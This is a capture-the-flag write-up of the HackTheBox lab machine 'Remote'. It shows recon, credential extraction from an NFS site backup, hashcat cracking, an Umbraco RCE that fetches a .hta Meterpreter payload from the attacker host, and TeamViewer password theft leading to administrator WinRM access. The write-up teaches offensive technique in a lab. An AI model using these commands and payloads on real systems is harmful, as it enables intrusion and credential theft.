HackTheBox: Remote
windows nfs backup hashcat metasploit team-viewerRemote is a Windows-based machine authored by mrb3n, with an average rating of 4.3 stars.
// Lessons Learned
- Passwords have a tendency to show up in unexpected places, often due to user error when logging in. On this box they turned out to be no-longer valid, but that wouldn’t aways be the case.
- Having access to the software required to read a proprietary format (in this case .sdf / MSSQL Server Compact Database) isn’t necessarily required in order to be able to extract useful info - always check
stringsoutput.
// Recon
┌──(kali㉿kali)-[~/HTB/remote]
└─$ nmap -A -p- remote.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-04 10:56 AEST
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.043s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: 1m39s
| smb2-time:
| date: 2022-05-04T00:59:12
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.93 seconds
Nmap reveals a Windows machine running the following services:
- ftp (with anonymous login permitted, though no files available) on port
22 - an ASP-based “Acme Widgets” website running on port
80 - rpc running on port
111(anonymous sessions not enabled) - netBIOS / smb-related services on
139and445(anonymous & guest logins both disabled) - mountd (likely a network file server) on port
2049 - winRM on port
5985(unauthenticated access disabled) - an unknown webserver running on port
47001
Viewing the website via Burp Proxy, it appears to be an in-development business website with a blog, online store, worker profiles etc:
Running feroxbuster against it with some appropraite wordlists (we already know the server is Windows-based, so can save some time and use the case-insensitive versions) reveals some linked and unlinked content:
┌──(kali㉿kali)-[~/github/danielmiessler/SecLists]
└─$ feroxbuster -u http://remote.htb -w Discovery/Web-Content/raft-large-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://remote.htb
🚀 Threads │ 50
📖 Wordlist │ Discovery/Web-Content/raft-large-directories-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 187l 490w 6693c http://remote.htb/
200 GET 124l 331w 7880c http://remote.htb/contact
200 GET 137l 338w 5001c http://remote.htb/blog
302 GET 3l 8w 126c http://remote.htb/install => /umbraco/
200 GET 187l 490w 6703c http://remote.htb/home
200 GET 129l 302w 5338c http://remote.htb/products
500 GET 80l 276w 3420c http://remote.htb/product
200 GET 116l 222w 3323c http://remote.htb/intranet
200 GET 167l 330w 6739c http://remote.htb/people
200 GET 161l 428w 5441c http://remote.htb/about-us
200 GET 95l 189w 4040c http://remote.htb/umbraco
500 GET 80l 276w 3420c http://remote.htb/master
200 GET 81l 198w 2741c http://remote.htb/person
200 GET 187l 490w 6693c http://remote.htb/%E2%80%8E
200 GET 123l 305w 4196c http://remote.htb/1111
200 GET 167l 330w 6739c http://remote.htb/1116
200 GET 81l 201w 2752c http://remote.htb/1118
200 GET 81l 201w 2750c http://remote.htb/1117
200 GET 116l 222w 3313c http://remote.htb/1148
200 GET 81l 201w 2750c http://remote.htb/1121
200 GET 123l 317w 4271c http://remote.htb/1113
200 GET 123l 301w 4176c http://remote.htb/1110
200 GET 123l 281w 4039c http://remote.htb/1109
200 GET 130l 408w 4869c http://remote.htb/1126
200 GET 161l 428w 5441c http://remote.htb/1122
200 GET 138l 533w 5813c http://remote.htb/1127
200 GET 151l 367w 4723c http://remote.htb/1124
[####################] - 20m 112326/112326 0s found:27 errors:6
[####################] - 20m 56163/56163 45/s http://remote.htb
[####################] - 20m 56163/56163 45/s http://remote.htb/
A lot of the results are for urls we already knew about, but /install (redirecting to /umbraco/) is new and potentially useful. Accessing the page in a browser presents us with a basic login page:
Umbraco is a popular open-source, .NET-based content management system. There is no visible indication of which version is running, but given that this box was released in March of 2020, it’s likely to be version 8 or earlier. Re-running feroxbuster against the /umbraco/ directory with a product-specific wordlist returns a slew of accessible urls, mostly related to backend templates, javascript, css etc, but nothing immediately obvious. Searchsploit returns a number of code execution and directory traversal exploits for the CMS, as well as a metasploit module, but all of these either require authentication or target very old versions (e.g. v4.7).
// Initial Foothold
Turning to some of the other identified services, we can use showmount to check what shares may be available via the NFS server:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
There is a /site_backups share available without authentication on the target, which we can mount and browse from our attack box:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ mkdir site_backups && sudo mount -t nfs -o vers=2 remote.htb:/site_backups ./site_backups -o nolock
┌──(kali㉿kali)-[~/HTB/remote]
└─$ sudo ls -la site_backups
total 18
drwx------ 2 4294967294 4294967294 4096 Feb 24 2020 .
drwxr-xr-x 1 501 dialout 96 May 5 10:13 ..
drwx------ 2 4294967294 4294967294 64 Feb 21 2020 App_Browsers
drwx------ 2 4294967294 4294967294 4096 Feb 21 2020 App_Data
drwx------ 2 4294967294 4294967294 4096 Feb 21 2020 App_Plugins
drwx------ 2 4294967294 4294967294 64 Feb 21 2020 aspnet_client
drwx------ 2 4294967294 4294967294 49152 Feb 21 2020 bin
drwx------ 2 4294967294 4294967294 8192 Feb 21 2020 Config
drwx------ 2 4294967294 4294967294 64 Feb 21 2020 css
-rwx------ 1 4294967294 4294967294 152 Nov 2 2018 default.aspx
-rwx------ 1 4294967294 4294967294 89 Nov 2 2018 Global.asax
drwx------ 2 4294967294 4294967294 4096 Feb 21 2020 Media
drwx------ 2 4294967294 4294967294 64 Feb 21 2020 scripts
drwx------ 2 4294967294 4294967294 8192 Feb 21 2020 Umbraco
drwx------ 2 4294967294 4294967294 4096 Feb 21 2020 Umbraco_Client
drwx------ 2 4294967294 4294967294 4096 Feb 21 2020 Views
-rwx------ 1 4294967294 4294967294 28539 Feb 20 2020 Web.config
There is a lot of content available to explore here, but from a security perspective there’s some common phrases / terms we’re mostly interested in - password, username etc. Searching for admin returns some useful information in /site_backups/App_Data/Logs/UmbracoTraceLog.intranet.txt:
...
2020-02-20 00:12:13,455 [P4408/D19/T40] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt succeeded for username admin@htb.local from IP address 192.168.195.1
...
It’s possible we now have a username that can get us further, but we still lack a password. Searching for similar strings additionally reveals:
2020-02-20 00:29:57,428 [P4408/D20/T42] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt succeeded for username smith@htb.local from IP address 192.168.195.1
...
2020-02-20 00:39:00,708 [P5428/D2/T14] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt succeeded for username ssmith@htb.local from IP address 192.168.195.1
...
2020-02-20 00:21:36,660 [P4408/D20/T37] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username Umbracoadmin123!! from IP address 192.168.195.1
...
2020-02-20 00:28:28,366 [P4408/D20/T6] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username ssmith from IP address 192.168.195.1
...
2020-02-20 00:29:52,714 [P4408/D20/T16] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username smith from IP address 192.168.195.1
...
2020-02-19 23:28:54,043 [P4408/D15/T45] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username Admin from IP address 192.168.195.1
We now have several usernames that may be valid:
admin@htb.local
smith@htb.local
ssmith@htb.local
and one potential password (likely the result of a user typing their password into the username field by mistake):
Umbracoadmin123!!
We also discover an entry that likely indicates the version of Umbraco running:
2020-02-20 00:12:07,533 [P4408/D19/T1] INFO Umbraco.Core.CoreBootManager - Umbraco 7.12.4 application starting on INTRANET
If accurate, this rules out the metasploit module we discovered before, but may allow us to run a published RCE exploit, provided we can confirm valid credentials. Unfortunately, none of the logged combos gets us access at http://remote.htb/umbraco/#/login. Looking at the request proxied through Burp, we can see that it’s actually posting the credentials to /umbraco/backoffice/UmbracoApi/Authentication/PostLogin, which consistently returns an ambiguous 400 status code. There is a discussion thread on the Umbraco forums indicating this may mean the account has been locked, but we have no way of confirming this. Trying all the credential combos through the RCE script results in the same outcome. At this stage, the logical conclusion is that while Umbracoadmin123!! may have once been a valid password, it isn’t anymore (this is a log file in a site backup, after all!)
Another common target for CMS credentials is any kind of database that may be involved. Returning to the log files from before, there’s another entry which gives us an indication of where we might look:
System.Data.SqlServerCe.SqlCeException (0x80004005): The database file cannot be found. Check the path to the database. [ Data Source = C:\inetpub\wwwroot\App_Data\Umbraco.sdf ]
Within the backup, we do indeed have the Umbraco.sdf file, which is a SQL Server Compact Database File (similar to a SQLite database). I don’t have the ability to run a MSSQL server, and all of the tools found that could interrogate a local copy only work on Windows. While we can’t open the file in a text editor and see anything useful, we can run it through the strings utilty, to retrieve any printable characters:
$ strings Umbraco.sdf ✔
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
dAc0^A\pW
(1&a$
"q!Q
umbracoDomains
...
Straight away, we get access to what looks like encrypted passwords for the admin and ssmith users. The admin password is likely higher privileged, and in this case is also encrpyted with the weaker SHA1 algorithm, rather than the stronger SHA256. All we have to do is drop the encrypted pass into a local file, and put hashcat to work in the usual manner:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ echo 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > admin.hash
┌──(kali㉿kali)-[~/HTB/remote]
└─$ hashcat --force -m 100 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
...
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
...
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
...
We now have a new set of credentials to try, admin@htb.local / baconandcheese. Testing this against the login page grants us access to the CMS:
and we’re also able to confirm the RCE exploit mentioned earlier, by executing the ipconfig command:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::101
IPv6 Address. . . . . . . . . . . : dead:beef::2d00:e37e:8eaa:6b77
Link-local IPv6 Address . . . . . : fe80::2d00:e37e:8eaa:6b77%12
IPv4 Address. . . . . . . . . . . : 10.10.10.180
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:c808%12
10.10.10.2
There are various ways to turn Windows RCE into a reverse shell (python, powershell etc.) but in this case we’ll make use of the Metasploit HTA (HTML Application) module, which involves hosting a malicious .hta file that we’ll retrieve from the target to create a meterpreter session. First we set a few options and start the server on our attack box:
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > options
Module options (exploit/windows/misc/hta_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.255.138 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Powershell x86
msf6 exploit(windows/misc/hta_server) > set LHOST 10.10.17.230
LHOST => 10.10.17.230
msf6 exploit(windows/misc/hta_server) > set LPORT 5555
LPORT => 5555
msf6 exploit(windows/misc/hta_server) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.17.230:5555
[*] Using URL: http://10.10.17.230:8080/wz5EbzrG.hta
msf6 exploit(windows/misc/hta_server) > [*] Server started.
And then re-use our umbraco RCE exploit to retrieve the malicious file:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c 'mshta.exe' -a 'http://10.10.17.230:8080/wz5EbzrG.hta'
Which in turn grants us a meterpreter session:
[*] 10.10.10.180 hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.17.230:5555 -> 10.10.10.180:49684 ) at 2022-05-06 15:01:20 +1000
msf6 exploit(windows/misc/hta_server) > sessions 1
[*] Starting interaction with 1...
From here, we can drop to a native shell and retrieve the user flag in a familiar location:
meterpreter > shell
Process 3884 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>cd C:\Users\Public
C:\Users\Public>dir
dir
Volume in drive C has no label.
Volume Serial Number is D582-9880
Directory of C:\Users\Public
02/20/2020 03:42 AM <DIR> .
02/20/2020 03:42 AM <DIR> ..
02/19/2020 04:03 PM <DIR> Documents
09/15/2018 03:19 AM <DIR> Downloads
09/15/2018 03:19 AM <DIR> Music
09/15/2018 03:19 AM <DIR> Pictures
05/05/2022 07:47 PM 34 user.txt
09/15/2018 03:19 AM <DIR> Videos
1 File(s) 34 bytes
7 Dir(s) 13,374,840,832 bytes free
C:\Users\Public>type user.txt
type user.txt
5e1cc***************************
// Privilege Escalation
Initial manual enumeration (checking user directories, looking for non-default software, ports open on internal interfaces only etc.) reveals a TCP-based service running on the localhost interface only:
TCP 127.0.0.1:5939 0.0.0.0:0 LISTENING 2308
Some research indicates this is TeamViewer, a remote access service designed to support remote configuration and maintenance. This application is vulnerable to having its passwords accessed and decrypted, using another simple Metasploit module:
msf6 post(windows/gather/credentials/teamviewer_passwords) > options
Module options (post/windows/gather/credentials/teamviewer_passwords):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
WINDOW_TITLE TeamViewer no Specify a title for getting the window handle, e.g. TeamViewer
msf6 post(windows/gather/credentials/teamviewer_passwords) > set session 1
session => 1
msf6 post(windows/gather/credentials/teamviewer_passwords) > run
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
Since configuration & admin tasks are usually carried out only by administrators, there’s a good chance this password will provide admin access to some kind of service. We don’t have to search far before discovering that in this case, that service is winrm:
┌──(kali㉿kali)-[~/HTB/remote]
└─$ evil-winrm -i remote.htb -u 'administrator' -p '!R3m0te!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
remote\administrator
From here, we can access the root flag in the usual location:
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
bf473***************************
